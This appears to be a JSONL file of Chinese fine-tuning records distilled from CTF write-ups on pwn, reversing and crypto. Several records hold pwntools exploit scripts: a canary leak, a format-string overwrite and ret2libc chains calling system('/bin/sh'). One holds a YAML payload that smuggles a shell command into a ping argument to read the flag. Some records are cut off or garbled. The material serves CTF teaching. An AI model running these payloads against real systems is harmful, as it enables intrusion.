"split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5783c968ad89b05cd4b3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[FSCTF 2023]stackmat”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[FSCTF 2023]stackmat”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nret=0x000000000040101a\nsys=0x401240\nfmt=\"%11$p\"\ns(fmt)\nru(\"know\\n\")\ncanary=int(ru(b'00'),16)\nprint(hex(canary))\nr()\npayload=b'a'*40+p64(canary)+p64(1234)+p64(sys)\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::29e194f66f5e78ae", "original_line": 1028, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[FSCTF 2023]stackmat", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "29e194f66f5e78ae", "source_split": "train", "split": "train", "split_group_key": "bdd82cc7d6d29a13a34ce00d", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-58099adab994eabc8d31", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“乘法逆元”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / 乘法逆元（第 2 段）\n关键词：dest、mpq_t、const、op2、op1、op、mod、src、mpz_t、c\nfor (int j=0;j op2\n可用于训练的标准回答：\n```c\nfor (int j=0;j op2`。 |\n| `mpz_cmp_ui(const mpz_t op1, unsigned long op2)`                           | 比较 `op1` 和无符号整数 `op2`。                                                 |\n| `mpz_sgn(const mpz_t op)`                                                  | 返回 `op` 的符号：负数 `-1`，0，正数 `1`。                                          |\n| `mpz_invert(mpz_t dest, const mpz_t op, const mpz_t mod)`                  | 计算 `op` 在模 `mod` 下的逆元，结果存储在 `dest` 中。如果逆元不存在，返回 `0`。                   |\n| `mpq_init(mpq_t q)`                                                        | 初始化一个多精度有理数变量 `q`。                                                     |\n| `mpq_clear(mpq_t q)`                                                       | 清除多精度有理数变量 `q`。                                                        |\n| `mpq_set(mpq_t dest, const mpq_t src)`                                     | 将 `src` 的值复制到 `dest`。...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::e6f557be610ebe81", "original_line": 23, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "e6f557be610ebe81", "source_split": "test", "split": "train", "split_group_key": "163403922a268775770fe4e7", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5825a64925185b242997", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“opcode定义”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / opcode定义\n关键词：mem、memcmp(&mem[0],&mem[操作数1],操作数2)、opcode、memcmp\n蒸馏要点：\n- 接着自定义一些指令，需要决定该指令集是定长的还是变长的。\n- 这里以变长指令集为例，先列出一个表来：\n- | opcode | 指令格式          | 指令长度 | 指令含义                                |\n- | 0x10   | 0x10操作数       | 2    | r1=操作数                              |\n- | 0x11   | 0x11操作数       | 2    | r2=操作数                              |\n- | 0x20   | 0x20操作数1 操作数2 | 3    | mem[操作数1]=操作数2                      |\n- | 0x30   | 0x30          | 1    | mem[r1]^=r2                         |\n可用于训练的标准回答：\n### opcode定义\n\n接着自定义一些指令，需要决定该指令集是定长的还是变长的。\n\n这里以变长指令集为例，先列出一个表来：\n\n| opcode | 指令格式          | 指令长度 | 指令含义                                |\n| ------ | ------------- | ---- | ----------------------------------- |\n| 0x10   | 0x10操作数       | 2    | r1=操作数                              |\n| 0x11   | 0x11操作数       | 2    | r2=操作数                              |\n| 0x20   | 0x20操作数1 操作数2 | 3    | mem[操作数1]=操作数2                      |\n| 0x30   | 0x30          | 1    | mem[r1]^=r2                         |\n| 0x40   | 0x40          | 1    | 接收输入到&mem[0]                        |\n| 0x50   | 0x50操作数1 操作数2 | 3    | 返回`memcmp(&mem[0],&mem[操作数1],操作数2)` |", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::341b65a3f603dcd7", "original_line": 1058, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "opcode定义", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "341b65a3f603dcd7", "source_split": "train", "split": "train", "split_group_key": "1448d6bcb6de232960b79c75", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-58d91c78048af8c2577f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“Simulation Manager”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. 上述方式只是预设了程序开始分析时的状态，我们要分析程序就必须要让它到达下一个状态，这就需要模拟管理器的帮助（简称 SM）。\n2. 使用以下指令能创建一个 SM，它需要传入一个 state 或者 state 的列表作为参数：\n3. SM 中有许多列表，这些列表被称为 stash，它保存了处于某种状态的 state，stash有如下几种：\n4. | stash         | 描述                                                         |\n5. | active        | 保存接下来可以执行并且将要执行的状态                         |\n6. | deadended     | 由于某些原因不能继续执行的状态，例如没有合法指令，或者有非法指针 |", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ccb30f288e8c4fa5", "original_line": 1005, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "Simulation Manager", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ccb30f288e8c4fa5", "source_split": "train", "split": "train", "split_group_key": "e74c6e4fbfbbe81b2c254444", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-58fca531e15589a98e49", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《Angr：Angr符号执行》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：Angr：Angr符号执行\n领域标签：reverse, ctf-method\n知识结构：符号执行原理 -> 符号化输入 -> 符号变量 -> 路径约束 -> 创建求解器 -> 加入路径条件：x y -> 创建新求解器实例，加入另一个路径条件：x -> State状态 -> 给寄存器赋值一个符号值 -> 给寄存器赋值一个具体值 123 -> Simulation Manager -> Explorer\n关键术语：state、simgr、angr、factory、proj、regs、active、entry_state、BVS、step、Project、addr、stash、blank_state、address、size_in_bytes\n核心要点：\n- 定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。\n- 核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。\n- 什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。\n- 符号执行的三个关键点：\n- 符号执行的关键在于：\n- 符号化输入：将程序的输入替换为符号变量。\n- 路径探索：模拟程序的执行过程，探索程序的所有可能路径，特别是在条件分支处，符号执行会分别生成两个路径来代表条件为真和条件为假的情况。\n- 路径约束：每一条路径都会产生一个路径约束，路径约束是关于符号变量的数学公式，表示这条路径的条件。\n- 约束求解：符号执行生成的路径条件可以通过约束求解器（例如 Z3）来求解，求解器可以找到满足这些条件的符号变量具体值，从而推导出实际输入。\n- 符号执行首先要将程序的输入替换为符号变量，而是表示一个不确定的集合，即它们可以取多个可能的值。，符号变量不仅可以表示未知数，还可以用于表达任何一个可能的值。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1e890246abeb23a5", "original_line": 783, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1e890246abeb23a5", "source_split": "train", "split": "train", "split_group_key": "14e63933371996708d77cde2", "tags": ["reverse", "ctf-method"], "title": "Angr：Angr符号执行", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5932378ddb5ab53090de", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[MoeCTF 2021]babyfmt”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [MoeCTF 2021]babyfmt\n关键词：gift、elf、ELF、fmtpay、MoeCTF、babyfmt、usr、bin、env、python3\n蒸馏要点：\n- 覆盖条件判断变量地址为指定值，然后输入相应的值使条件成立。\n可用于训练的标准回答：\n### [MoeCTF 2021]babyfmt\n\n#A #格式化字符串 #任意地址内存覆盖 #GOT劫持\n\n覆盖条件判断变量地址为指定值，然后输入相应的值使条件成立。\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x804c044\nfmtpay=fmtstr_payload(10,{sh:0})\nsl(fmtpay)\ns(b'0')\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c00815f65cc4b4ec", "original_line": 662, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[MoeCTF 2021]babyfmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c00815f65cc4b4ec", "source_split": "train", "split": "train", "split_group_key": "cc8984bf5360860d62beace0", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-59b2ed312ea955a11ade", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“MD5”？请用《Hash 类算法》中的内容回答。", "role": "user"}, {"content": "1. MD5（Message-Digest Algorithm 5）是信息学中使用广泛的哈希算法\n2. 这个算法具有很多性质：\n3. 压缩性：对于任意长度的输入，输出长度总是相同的\n4. 抗修改性：对原数据的一点点修改都会导致最终结果的最大变化。\n5. 抗碰撞性：已知原数据和 MD5 值很难生成与原数据不同但 MD5 值相同的数据。\n6. 可以理解为：生成任意一段数据的 “数字指纹”，对文件或数据的微小改动都会之间导致数字指纹的巨大变化。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::11e0df4efdbd0cac", "original_line": 673, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "MD5", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "11e0df4efdbd0cac", "source_split": "train", "split": "train", "split_group_key": "e2e2bbd8f758c25f6b4917b6", "tags": ["crypto"], "title": "Hash 类算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5af22e69164c2f3fe84d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“所以偏移0x3c”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 所以偏移0x3c\n关键词：libc、ret、p64、address、search、next、type、something、pop_rdi、asm\n蒸馏要点：\n- s(payload)\n- ru(b'type something:')\n- libc.address=int16(r(14))-0x29ca8\n- lg('libc.address',libc.address)\n- pop_rdi=libc.search(asm('pop rdi; ret')).__next__()\n- ret=elf.search(asm('ret')).__next__()\n- sh=libc.search(b'/bin/sh\\x00').__next__()\n可用于训练的标准回答：\n# 所以偏移0x3c\n\ns(payload)\n#dbg()\nru(b'type something:')\nlibc.address=int16(r(14))-0x29ca8\nlg('libc.address',libc.address)\n\npop_rdi=libc.search(asm('pop rdi; ret')).__next__()\nret=elf.search(asm('ret')).__next__()\nsh=libc.search(b'/bin/sh\\x00').__next__()\npay=b'a'*12+p64(ret)+p64(pop_rdi)+p64(sh)+p64(libc.sym.system)\n\nsa(b'type something:',pay)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::f898e906f9f09d73", "original_line": 115, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "所以偏移0x3c", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "f898e906f9f09d73", "source_split": "validation", "split": "train", "split_group_key": "60b7dd0faa8af9d31a23840e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5b02694964a49e6346c6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《2025强网杯 Qclac》中“思路”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《2025强网杯 Qclac》的“思路”。\n语言/类型：yaml\n关联知识点：\n- 将 flag 写入到可控的 history.yaml 然后再读取出来。\n- 构造出的 yaml 文件如下：\n- 综上，利用链可总结为：\n- 传入intent scheme 到 fallback 中\n- 触发除 0 异常调用`BridgeActivity`获取`history.yml`读写权限，并启动fallback intent（由于这个是我们自己传入的，所以我们可以再次启动我们自己的Activity）\n代码片段：\n```yaml\n\"!!com.qinquang.calc.PingUtil \"8.8.8.8; FLAG=(cat /data/data/com.qinquang.calc/flag-*.txt); echo --nflag:FLAG\\n...\" > /data/data/com.qinquang.calc/files/history.yml\"\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8d5e076c0710bf38", "original_line": 1074, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8d5e076c0710bf38", "source_split": "train", "split": "train", "split_group_key": "5c8c0ee0abc533a9379e590f", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5b33ebeba861e5f5c521", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“[SUCTF 2018 招新赛]hash”？请用《Hash 类算法》中的内容回答。", "role": "user"}, {"content": "1. ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。\n2. 使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。\n3. 结合上面信息分析程序代码逻辑。\n4. 程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。\n5. 下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。\n6. 然后我们可以先在 md5 查询网站查询。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::39df469e877add57", "original_line": 937, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "[SUCTF 2018 招新赛]hash", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "39df469e877add57", "source_split": "train", "split": "train", "split_group_key": "5175401f4dfe85ccd6fd4669", "tags": ["reverse", "crypto", "ctf-method"], "title": "Hash 类算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5ca6ae9aef3a9104a0ec", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《反调试》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：反调试\n领域标签：pwn, reverse, web, ctf-method\n知识结构：简介 -> API 实现 -> IsDebuggerPresent -> CheckRemoteDebuggerPresent -> NtQueryInformationProcess -> OutputDebugString -> ProcessHeap -> NtGlobalFlag -> SEH -> TLS 回调函数 -> Linux实现 -> 利用 session id\n关键术语：TLS、include、API、BOOL、printf、debugger、ULONG、BeingDebugged、status、SEH、PVOID、HANDLE、IsDebuggerPresent、- 实现、NtQueryInformationProcess、else\n核心要点：\n- 反调试技术，可执行程序用它来识别自身是否被调试，或者让调试器失效。在 CTF 中通常很少单独以反调试作为考点来出题，通常都是和算法混淆结合起来。\n- 使用 Windows API 函数检测调试器是否存在是最简单的反调试技术。Windows 操作系统中提供了这样一些 API，应用程序可以通过调用这些 API，来检测自己是否正在被调试。这些 API 中有些是专门用来检测调试器的存在的，而另外一些 API 是出于其他目的而设计的，但也可以被改造用来探测调试器的存在。\n- `IsDebuggerPresent`函数通过检查进程的 PEB 结构中的`BeingDebugged`字段来判断进程是否被调试。如果进程正在被调试，`BeingDebugged`字段会被设置为 1，函数返回非零值（通常为 1）。如果没有被调试，`BeingDebugged`字段为 0，函数返回 0。\n- PEB结构（部分）\n- 在代码中编写一个函数调用`IsDebuggerPresent`判断进程是否调试。\n- `CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。\n- 如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。\n- dll`中一个 API，它用来提取一个给定进程的信息。\n- `OutputDebugString`是 Windows API 中用于向调试器输出调试信息的函数。它的行为可以被利用来检测程序是否正在被调试。\n- 当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::25954ef9feaf3d36", "original_line": 756, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "25954ef9feaf3d36", "source_split": "train", "split": "train", "split_group_key": "05fe915ab584d84475caa1a5", "tags": ["pwn", "reverse", "web", "ctf-method"], "title": "反调试", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5cf155de0046db4e7703", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“dbg()”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. pay=b'a'*0x48+p64(pop_rdi_ret)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(gift)\n2. leak=l64()\n3. lg('puts_leak', leak)\n4. libc.address = leak - 0x84420\n5. lg('libc_base', libc.address)\n6. sh = libc.search(b'/bin/sh\\x00').__next__()", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d209025cee67450c", "original_line": 845, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "dbg()", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d209025cee67450c", "source_split": "train", "split": "train", "split_group_key": "2052214c274d227d085983c7", "tags": ["pwn"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5d6e7c7116c4ffa2fb50", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“分析”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。", "role": "user"}, {"content": "1. 这里我们先运行一下程序，发现程序只是用于输出`hello world!`。\n2. 通过汇编代码逻辑分析我们发现`jmp`指令跳转到了`loc_1151`标签的后一字节处即`0x1152`。\n3. 我们首先通过快捷键`u`将`loc_1151`标签处的汇编指令解释为机器码。\n4. 然后先将`0x1152`后面的汇编指令解释为机器码，之后在`0x1152`处按快捷键`c`将其解释为汇编代码。\n5. 可以看到现在的汇编代码符合程序功能，我们通过此判断`0xebh`到`0x48h`都是花指令。\n6. 我们重新将他们通过快捷键`u`解释为机器码，然后在`0x48h`的下面即`0x1154`处按快捷键`c`将它们解释为汇编代码。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::815bf1f0a001a2e8", "original_line": 983, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "分析", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "815bf1f0a001a2e8", "source_split": "train", "split": "train", "split_group_key": "b9f2afd937a7d9b67abeb2e8", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5db800175d4349ac771b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“jarvisojtellmesomething”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / jarvisojtellmesomething\n关键词：result、RELRO、PIE、BYREF、NX、2. 分析\n\n分析主函数\n\n程序调用read可以向栈上输入、字节大小的数据，判断存在栈溢出。、函数表中发现函数、，函数打开了、文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。\n蒸馏要点：\n- 只有`NX`保护。\n- 程序调用read可以向栈上输入`0x100`字节大小的数据，判断存在栈溢出。\n- 函数表中发现函数`good_game`，函数打开了`flag.txt`文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。\n- 我们通过栈溢出让程序返回到`good_game`函数即可输出`flag`。\n可用于训练的标准回答：\n### jarvisojtellmesomething\n\n1. 查保护\n\n只有`NX`保护。\n\n```shell\n➜  11-01 checksec ./guestbook\n    Arch:     amd64-64-little\n    RELRO:    No RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)\n```\n\n2. 分析\n\n分析主函数\n\n程序调用read可以向栈上输入`0x100`字节大小的数据，判断存在栈溢出。\n\n```c\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  __int64 v4; // [rsp+0h] [rbp-88h] BYREF\n\n  write(1, \"Input your message:\\n\", 0x14uLL);\n  read(0, &v4, 0x100uLL);\n  return write(1, \"I have received your message, Thank you!\\n\", 0x29uLL);\n}\n```\n\n函数表中发现函数`good_game`，函数打开了`flag.txt`文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。\n\n```c\nint 